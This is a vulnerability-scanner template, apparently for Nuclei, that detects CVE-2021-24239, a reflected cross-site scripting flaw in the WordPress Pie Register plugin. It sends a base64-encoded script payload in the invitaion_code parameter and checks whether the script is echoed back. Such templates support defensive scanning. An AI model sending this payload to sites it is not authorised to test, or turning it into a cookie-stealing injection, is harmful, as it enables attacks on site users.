id: CVE-2021-24239

info:
  name: WordPress Pie Register <3.7.0.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Pie Register plugin before 3.7.0.1 is susceptible to cross-site scripting. The plugin does not sanitize the invitaion_code GET parameter when outputting it in the Activation Code page. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, which can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  remediation: Fixed in version 3.7.0.1.
  reference:
    - https://wpscan.com/vulnerability/f1b67f40-642f-451e-a67a-b7487918ee34
    - https://plugins.trac.wordpress.org/changeset/2507536/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24239
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24239
    cwe-id: CWE-79
    epss-score: 0.00116
    epss-percentile: 0.44984
    cpe: cpe:2.3:a:genetechsolutions:pie_register:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: genetechsolutions
    product: pie_register
    framework: wordpress
  tags: cve,cve2021,xss,pie-register,wp,wpscan

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/admin.php?page=pr_new_registration_form&show_dash_widget=1&invitaion_code=PHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg=="

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "<script>alert(document.domain);</script>") && contains(body, "invitaion-code-table")'
        condition: and